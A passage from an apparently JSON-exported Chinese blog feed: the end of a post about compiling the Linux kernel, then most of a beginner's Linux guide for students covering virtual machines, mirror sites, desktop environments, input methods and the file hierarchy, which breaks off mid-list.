id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e虽然自己编译内核,没有使游戏性能有很大提升😶\u003cbr\u003e\n但是我由此得到了提升内核编译的一个途径,这要将来节省时间\u003cdel\u003e卷过别人\u003c/del\u003e不就很方便了吗🥰\u003cbr\u003e\n实际上我还给内核打上了\u003ca class=\"link\" href=\"https://github.com/zhmars/cjktty-patches\" target=\"_blank\" rel=\"noopener\"\n \u003e中文补丁\u003c/a\u003e,不过网上很多教程,我就不在这说了。给大家个\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/375460344\" target=\"_blank\" rel=\"noopener\"\n \u003e链接\u003c/a\u003e看看吧。没记错命令是 \u003ccode\u003epatch -Np1 \u0026lt; 补丁文件\u003c/code\u003e 。\u003cbr\u003e\n我还使用了 Arch Linux 的包管理工具,让整个过程更简单。具体看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Arch_Build_System\" target=\"_blank\" rel=\"noopener\"\n \u003e这个\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Traditional_compilation\" target=\"_blank\" rel=\"noopener\"\n \u003eArch Wiki提供的编译内核指南(多系统适用哦)\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\n \u003e小梦哥哥教大家操作系统实验啦\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/complie-linux-kernel-is-useless.html"},{"title":"快速逃离Linux指南","time":"2022-01-25T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/2qIsgFjYrfldwuh.webp\" alt=\"Featured image of post 快速逃离Linux指南\" /\u003e\u003cp\u003e看完了,搞定完操作系统实验,快跑!\u003cbr\u003e\n注意:我不可能把在互联网上随便找到的教程再写一遍,我觉得很啰嗦,所以请各位多多使用互联网。\u003cbr\u003e\n如果你是大佬,好好沉下心来帮帮小白,行吗。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003col\u003e\n \u003cli\u003e虚拟机的相关\u003c/li\u003e\n \u003cli\u003e镜像使用\u003c/li\u003e\n \u003cli\u003e好奇怪的桌面\u003c/li\u003e\n \u003cli\u003e文件相关\u003c/li\u003e\n \u003cli\u003e命令行的基本使(chao)用(xi)\u003c/li\u003e\n \u003cli\u003e如何把Linux引进家\u003c/li\u003e\n \u003cli\u003eLinux系统安全教育\u003c/li\u003e\n \u003cli\u003e还有没说到的,上网查资料/优雅地问问题\u003c/li\u003e\n \u003cli\u003e为什么我不推荐大家使用Linux\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"虚拟机相关\"\u003e虚拟机相关\u003c/h2\u003e\n\u003cp\u003e相信各位是被老师的某些需求,才知道有个操作系统叫Linux,才想安装的吧。而各位肯定不想在自己唯一的实机上安装,估计你们都连系统都没装过,会碰到一堆问题:-P\n所以虚拟机是一个更好的选择,它是模拟了一个类似于你电脑的环境。你在里面怎么折腾,只要不出格,基本上不会对你电脑里的其他东西有影响。\u003cbr\u003e\n这里我不会教大家如何设置一个虚拟机,我给大家一些便于使用的指南。\u003c/p\u003e\n\u003ch3 id=\"增强功能\"\u003e增强功能\u003c/h3\u003e\n\u003cp\u003e一般安装完系统,你需要在虚拟机里的系统安装虚拟机的增强功能。安装完增强功能有啥好处呢?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e窗口缩放自动化,你没有必要盯着640x480的上古分辨率了。\u003c/li\u003e\n\u003cli\u003e相当于给虚拟机里的系统打上了驱动。最直观的,画面更流畅了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以共享一个剪切板,抄点命令代码更方便了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以互相分享文件了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里,给VirtualBox用户来个建议,一定要装VirtualBox软件的增强模块!上网找一下Oracle Extension Pack了解一下吧。\u003cbr\u003e\n好了,如何安装捏?我知道网上可以找到一大堆的安装教程,但我突然间想多写一些,想让大家少走不必要的弯路。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e虚拟机软件\u003c/th\u003e\n\u003cth\u003e虚拟机里的系统\u003c/th\u003e\n\u003cth\u003e安装方式\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"2\"\u003eVMWare Workstation\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从VM选项找到”安装VMWare Tools”选项,然后安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLinux\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装open-vm-tools\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"3\"\u003eOracle VirtualBox\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e下载VBoxGuestAddtions.iso,虚拟机挂载安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eRed Hat系Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e同Windows安装方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003e其他的Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装virtualbox-guest-utils\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e顺便你还可以知道虚拟镜像挂载的知识呢。\u003c/p\u003e\n\u003ch3 id=\"硬件虚拟化\"\u003e硬件虚拟化\u003c/h3\u003e\n\u003cp\u003e虚拟化毕竟是模拟了一个电脑环境,这就好比某些双面人一样,心累啊。不过电脑没心没肺,没有道德真空,这不挺好的吗:-)\u003cbr\u003e\n话说现在的CPU,都支持辅助虚拟化技术。这玩意简单来说,可以让虚拟机直接调用CPU的某些指令,让电脑更加轻松地进行虚拟化。要是没有这个,就真的只能靠软件模拟运行了,效率能把你逼疯。就像某些双面人一样,表面装好人,不过要没人陪衬,迟早装不下去的。\u003cbr\u003e\n这个特性,Intel的叫VT-x,AMD的叫AMD-V。相信我,没有开这个玩意,大概率你的虚拟机会很卡,甚至有你的虚拟机可能都无法启动:-P\u003cbr\u003e\n所以在这里,我要给大家的建议是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查看自己的BIOS设置,看看有没有开虚拟化设置(记住这个单词:Virtualization)\u003c/li\u003e\n\u003cli\u003e看看你的虚拟机CPU设置,有没有开虚拟化设置(一般选项里都有VM-T/AMD-V字符串)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"共享文件夹\"\u003e共享文件夹\u003c/h3\u003e\n\u003cp\u003e实际上前面我提到的增强工具,有一个文件互相拖拽功能,不过个人认为,超级难用。一般来说,虚拟机需要访问宿主机文件的话,我更倾向于使用共享文件夹功能。这个功能本质上,就是把宿主机的一个文件夹通过某种虚拟机内部的网络共享方式,让虚拟机访问。\u003cbr\u003e\n至于怎么用,给你们一些指南,具体怎么做,请询问可爱的互联网姐姐:-)\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VMWare虚拟机下,配置共享文件的方式\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VirtualBox虚拟机下,配置共享文件的方式\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e设置的时候,尽量勾选上自动挂载/开机挂载,这样能省下很多的事情。\u003cbr\u003e\n还有一件事,读写权限也要搞明白,我前面说不出格就没事,是因为虚拟机和宿主机本来是隔离的,现在有了一个口子互相通信了,万一你在虚拟机搞了危险操作,极有可能你那些珍贵的东西就要遭殃了。(实际上共享剪贴板也有风险,但比这个小多了)\u003c/p\u003e\n\u003ch3 id=\"系统快照功能\"\u003e系统快照功能\u003c/h3\u003e\n\u003cp\u003e我先给大家讲两个案例,一个是电脑行装系统,一个是Windows的系统还原。\u003cbr\u003e\n电脑行装系统,喜欢用Ghost。他们提前预制出一个系统环境,然后用Ghost软件保存下来。组装完电脑后,他们把这个模板“扣进”新机器,系统就装完了。\u003cbr\u003e\nWindows有个功能,叫系统还原。当你的电脑出现问题的时候,还原一下就好了。\u003cbr\u003e\n系统快照在某种意义上,就是上面那俩的集合。它的功能,就是把虚拟机的状态(包括磁盘状态,硬盘状态)保存下来,类似于一个模板环境。然后你在虚拟机里面操作,发现系统坏了,直接拿之前的快照还原一下就行了。这比Windows的系统还原还好用呢,真的是一键还原。\u003cbr\u003e\n具体怎么用,互联网姐姐比我更清楚呢,我给你们俩地图吧:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VMWare虚拟机的系统快照功能\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VirtualBox虚拟机的系统快照功能\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e既然我们的目的是为了一个干净的环境,方便还原。我建议各位存两个快照:一个在系统安装完成之后,一个是在你干活之前。\u003cbr\u003e\n对了,快照本身也是需要更新的。因为虚拟机里面的系统是需要更新的,所以干活之前的快照一定要更新。至于最干净的,系统完成之后的镜像,一般是为了在虚拟机彻底没法用的时候,搞的救命稻草。\u003cbr\u003e\n还有一件事,快照回退的时候,在快照生成时间之后的所有东西,设置都将消失!所以你有啥必须要保存的东西,看看上面的共享文件夹功能。\u003c/p\u003e\n\u003ch2 id=\"镜像使用\"\u003e镜像使用\u003c/h2\u003e\n\u003cp\u003e相信大家遇到过这样的情况:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e需要下载一个软件,兴致冲冲跑到官网下载,结果发现下载速度好慢啊:-(\u003c/li\u003e\n\u003cli\u003e你需要用pip搞点数学计算,结果下载的时间够你出门晒太阳了\u003c/li\u003e\n\u003cli\u003e你想去搞点其他的资料,然而就是上不去\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e没关系,各大高校和互联网公司已经帮你下好了,你从他们那里取就行了。\u003c/p\u003e\n\u003ch3 id=\"先告知你\"\u003e先告知你\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e清华大学镜像站:https://mirrors.tuna.tsinghua.edu.cn\u003c/li\u003e\n\u003cli\u003e中科大镜像站:https://mirrors.ustc.edu.cn\u003c/li\u003e\n\u003cli\u003e如果你是我校友的话(仅校内服务):https://linux.xidian.edu.cn/mirrors\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e镜像站一般会给你很多的帮助指南,一定要充分利用。镜像站的用途还是很多的,以下只是一些示例。\u003c/p\u003e\n\u003ch3 id=\"加速linux系统更新\"\u003e加速Linux系统更新\u003c/h3\u003e\n\u003cp\u003e鉴于这是Linux指南,不提Linux有点不太合适。\u003cbr\u003e\nLinux系统的优点之一,就是软件更新比Windows舒服。但默认更新一般是很慢的,因为要走国外的服务器。所以说,更改系统的软件源地址就很有必要了。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUbuntu简便方法:设置里面有个选项,叫”软件与更新”,从那里修改。\u003c/li\u003e\n\u003cli\u003eFedora/CentOS简便方法:一般需要看镜像源的文档,开命令行复制粘贴命令。\u003c/li\u003e\n\u003cli\u003eArch Linux/Manjaro:编辑/etc/pacman.d/mirrorlist文件。\u003c/li\u003e\n\u003cli\u003eDebian/Ubuntu:编辑/etc/apt/sources.list文件。\u003c/li\u003e\n\u003cli\u003eRed Hat系列:编辑/etc/yum.repos.d下面的一堆repo文件。本人超级不建议编辑,能烦死。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对了,既然说到了软件源,这里预告一下,第五章讲命令行的时候我会细说这个的。\u003c/p\u003e\n\u003ch3 id=\"加速github的clone\"\u003e加速github的clone\u003c/h3\u003e\n\u003cp\u003e也不知为何,我们要从github下面拉下一个文件,总是好慢啊。幸亏现在有很多的镜像站来帮助我们快速下载。\u003cbr\u003e\n这个我就直接扔俩地址,以及一个命令:\u003cbr\u003e\n镜像1:https://hub.fastgit.xyz\u003cbr\u003e\n镜像2:https://github.com.cnpmjs.org\u003cbr\u003e\n命令:这个命令能让git访问github的时候,访问镜像。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit config --global url.\u003cspan class=\"s2\"\u003e\u0026#34;镜像网址\u0026#34;\u003c/span\u003e.insteadOf https://github.com\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"加速下载软件\"\u003e加速下载软件\u003c/h3\u003e\n\u003cp\u003e现在要下载啥软件,都喜欢找最近的镜像地点,加速你的下载。可就怕这玩意不好使用,你别说,我下载Eclipse IDE的时候就遇到过。\u003cbr\u003e\n当然,幸运的话,镜像源都会给你备份好了。自己探索吧,我觉得没必要多说了233\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"好奇怪的桌面\"\u003e好奇怪的桌面\u003c/h2\u003e\n\u003cp\u003e如果安装完了系统,进去发现系统有点不一样,但感觉上还能用,那你们真幸运:-)我六年前开始用Linux的时候,还不是这样呢。\u003cbr\u003e\n但如果你发现,电脑操作不太一样了,或者说,你的Linux和他的不一样。那么,你就要先了解以下东西了。\u003c/p\u003e\n\u003ch3 id=\"桌面居然是一个独立的软件\"\u003e桌面居然是一个独立的软件?\u003c/h3\u003e\n\u003cp\u003e这点和Windows很不一样,Windows的图形化功能是集成到内核的,Linux不是这样。这也解释了为啥Windows图形化一崩溃就蓝屏了。\u003cbr\u003e\n具体来说,Linux本身只是一个内核,在其上运行着很多程序,图形化界面(桌面环境)只是其中一个。\u003cbr\u003e\n要细说的话,我们得扯一下历史了(欢迎大家进入工程概论睡觉模式):\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"SuperBart超级抽象画工时间2333\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eSuperBart超级抽象画工时间2333\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e上世纪七八十年代的电脑,都是需要用终端机来使用的。终端机连接到远端的主机,并进行操作。现在有些东西,还有这个的影子呢,比如你远程你买的云服务器。插一句,C语言的stdio头文件,全称叫标准输入输出(STanDard Input Output),也是对应了这个结构。输入在当时,就是终端机的键盘,输出在当时,就是终端机的屏幕。当然现在,分别对应的是你的键盘和屏幕了。\u003cbr\u003e\nLinux的图形化程序叫Xorg,也是这样的结构。这里给张图片。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"根据维基百科X协议页面画的,不一定准确\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e根据维基百科X协议页面画的,不一定准确\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e你看,是不是有点终端机和主机的感觉呢?前面三个负责处理一些内部事情,比如接受进程状态,检测输入之类。然后XORG服务器将绘制信号传给XORG客户端,然后经由窗口管理器之类的东西,把窗口送到你的屏幕上。他的过程比Windows那样的直接绘制要复杂一些,但是十分灵活。\u003cbr\u003e\n在Linux中,有很多的桌面环境。建议大家看一下自己系统使用的桌面环境,以后出现问题的话,会很有用。下面介绍一些著名的桌面环境,以及我认为的特点:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e名称\u003c/th\u003e\n\u003cth align=\"center\"\u003e官网\u003c/th\u003e\n\u003cth align=\"left\"\u003e优点\u003c/th\u003e\n\u003cth align=\"left\"\u003e缺点\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eKDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ekde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e围绕KDE开发的软件很多,界面比Windows 11还好看,配置方便\u003c/td\u003e\n\u003ctd align=\"left\"\u003e体积庞大\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDeepin\u003c/td\u003e\n\u003ctd align=\"center\"\u003edeepin.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面华丽,使用简单,开发单位有国家赞助\u003c/td\u003e\n\u003ctd align=\"left\"\u003e3d加速之类的东西不太适合虚拟机使用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eGNOME\u003c/td\u003e\n\u003ctd align=\"center\"\u003egnome.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e个性化能力强,围绕其生态的软件多\u003c/td\u003e\n\u003ctd align=\"left\"\u003e默认界面使用十分反人类,用起来十分不稳定\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eMATE\u003c/td\u003e\n\u003ctd align=\"center\"\u003emate.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面直观,软件丰富,基于GNOME还没反人类时期的代码\u003c/td\u003e\n\u003ctd align=\"left\"\u003e可能界面有点老土,默认上下都有任务栏\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eXFCE\u003c/td\u003e\n\u003ctd align=\"center\"\u003exfce.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e省资源,但是软件绝对够用,小耗子很可爱\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面十分老土,个人认为得自己配置一下\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLXDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003elxde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e十分省资源\u003c/td\u003e\n\u003ctd align=\"left\"\u003e配置起来相当麻烦,软件之类得自己找\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e当然,听我的一家之词,肯定是不够的。建议各位上网找一下相关图片,了解一下。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch3 id=\"我的中文输入法呢\"\u003e我的中文输入法呢?\u003c/h3\u003e\n\u003cp\u003e相信有人装完系统,发现你的系统没有中文输入法,中文输入不了。\u003cbr\u003e\nLinux的输入法跟Windows是有区别的,Linux上的输入法是一个框架,在框架中,具体的输入法才能运行。Linux上面有两个框架,一个叫Fcitx,一个叫ibus。接下来,我会给大家一些关于输入法的提示。\u003cbr\u003e\n首先是fcitx(小企鹅输入法)。这个输入法的用途还是很广泛的,而且插件功能强大。我用的最多,也最想给大家推荐。具体安装我这里不会细说,给点提示吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一般来说,你需要安装一些针对QT和GTK的相容性插件。如果你发现输入不了的话,可能这是你问题的一个切入点。\u003c/li\u003e\n\u003cli\u003e目前Fcitx分为两个版本,一个是第四版,一个是第五版。现在推荐大家使用第五版,功能更多,开发更活跃。\u003c/li\u003e\n\u003cli\u003e关于默认的拼音输入法,有两个插件一定要激活:一个是云拼音插件,一个是词库插件。云拼音插件可以从百度的服务器上面得到你输入拼音的预测,词库插件可以获取搜狗拼音的词库。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后是ibus。这个是GNOME的默认输入框架,所以用GNOME的同志们,不要再装fcitx了。这个输入法我用的不多,所以这里谈的不多,请进入设置里的相关选项进行设置。\u003c/p\u003e\n\u003cp\u003e不过我必须插一句,不要使用默认的拼音输入法实现!去你的软件源找有没有ibus-libpinyin或者ibus-sunpinyin,这俩更好用。\u003c/p\u003e\n\u003ch3 id=\"linux上面有dev-c吗\"\u003eLinux上面有Dev-C++吗?\u003c/h3\u003e\n\u003cp\u003e没有,Dev-C++是纯Windows程序。但是Linux上面有更好用的。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e小熊猫Dev-C++,QT版的Dev-C++,该怎么用不用我多说了吧。(这不是原版Dev-C++,不保证你的软件仓库有)\u003c/li\u003e\n\u003cli\u003eGeany,用起来和Dev-C++差不多,构建单个文件的时候很舒服的。\u003c/li\u003e\n\u003cli\u003eCodeBlock,我们CPP语言老师用的是这个IDE。\u003c/li\u003e\n\u003cli\u003eKate,KDE桌面环境默认编辑器,个人习惯使用这个编辑配置文件。OI-Wiki有个指南,可以看看。(这个软件有Windows版)\u003c/li\u003e\n\u003cli\u003eGedit,Gnome桌面环境的默认编辑器。稍微配置一下,就能一键编译了。CSDN上面一堆教程呢。\u003c/li\u003e\n\u003cli\u003eVSCode,大名鼎鼎,无需多言。而且在Linux上配置更方便了呢。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e插一句啊,在Linux编程前,一定要看看你的系统有没有编译器!你安装gcc或者clang了吗?\u003c/p\u003e\n\u003ch2 id=\"文件相关\"\u003e文件相关\u003c/h2\u003e\n\u003cp\u003e粗略略用起来,好像没啥奇怪的。但当你想找C盘D盘的时候,诶,跑哪里去了?\u003cbr\u003e\n你发现文件路径中,\u0026rsquo;/\u0026lsquo;用的好多啊,而且有好多三个字母的目录,有点高大上。\u003cbr\u003e\n你还发现文件属性里面没有\u0026quot;隐藏\u0026quot;了,这又是搞哪门子?\u003c/p\u003e\n\u003ch3 id=\"没有明显的分区概念\"\u003e没有明显的分区概念\u003c/h3\u003e\n\u003cp\u003e知道各位脑子里充满了C盘,D盘之类的。他们泾渭分明,基本上要没啥事的话,真的是鸡犬相闻,老死不相往来。但如果我告诉你,分区之间可以关系紧密,甚至成为了一棵树呢?\u003cbr\u003e\n来看看这张图吧,这就是我电脑Linux的分区结构了。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"手绘的更有温度,懂不懂啊\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e手绘的更有温度,懂不懂啊\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e你看到了吗,任何文件都是衍生自一棵树,他的名字叫做根,他的目的也是为了耕种这些文件。这些文件在这个根的勤劳耕种下,努力地繁育系统这个大家庭……(看不懂的去看《十日谈》或者去听Genesis的Cinema Show)\u003cbr\u003e\n为什么说Linux的分区不明显呢?分区是硬件上的概念,客观存在的。但是Linux中,分区之间的关系是非常紧密的。即使/usr目录在一个分区,/boot在另一个分区,/单独一个分区,但只要有/维系这棵树,他们之间的互相访问,就好像在一个分区一样,这样,分区的概念就不明显了。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e有心人注意到了,我写了一个\u0026quot;在内存中的文件\u0026quot;。这个是Linux内核把系统和硬件的信息,通过文件的形式给大家呈现了出来。这个方面,建议大家了解一下Linux/Unix下硬件映射为文件,“一切皆文件”的思想。\u003cbr\u003e\n对于mac用户,你们可以打开终端,看看你们的根目录。\u003c/p\u003e\n\u003ch3 id=\"隐藏文件和配置文件\"\u003e隐藏文件和配置文件\u003c/h3\u003e\n\u003cp\u003e在Linux中,隐藏文件的标志和Windows的不一样。只要你在文件名前面搞个\u003ccode\u003e.\u003c/code\u003e就行了,就这样。\u003cbr\u003e\n那么,什么情况下我们会看到隐藏文件呢?来看看我的电脑吧。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"左面的不显示隐藏文件,右面的显示隐藏文件\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e左面的不显示隐藏文件,右面的显示隐藏文件\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e好吧,你看到了很多的隐藏文件。这里面我先告诉你,大多数是配置文件。为啥要告诉你呢?要不然没法往下写了(尴尬)\u003cbr\u003e\nLinux软件的配置文件,大多集中地放在以下目录中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e/etc 